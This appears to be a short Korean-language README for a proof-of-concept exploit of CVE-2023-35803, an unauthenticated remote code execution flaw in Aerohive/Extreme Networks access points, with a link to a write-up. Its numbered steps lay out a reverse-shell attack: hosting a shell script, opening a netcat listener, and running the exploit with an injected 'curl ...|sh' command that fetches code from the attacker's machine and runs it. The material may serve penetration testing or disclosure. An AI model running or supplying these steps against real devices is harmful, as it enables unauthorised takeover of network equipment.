CVE-2023-35803

CVE-2023-35803 - Extreme Networks/Aerohive 무선 액세스 포인트에서의 인증되지 않은 RCE

HiveOS/IQ Engine <10.6r2를 실행하는 ARM 기반 액세스 포인트를 위한 PoC입니다.

1. revshell을 편집하여 셸 캐처 IP/포트를 지정하세요.
2. 리버스 셸을 호스팅하세요: python3 -m http.server
3. 셸 캐처를 여세요: nc -lvnp 1337
4. PoC를 실행하세요(몇 분 정도 걸릴 수 있음): python3 poc.py <ip of ap> "curl <ip of attack box>:8000/revshell|sh"

---

라이트업: https://research.aurainfosec.io/pentest/bee-yond-capacity/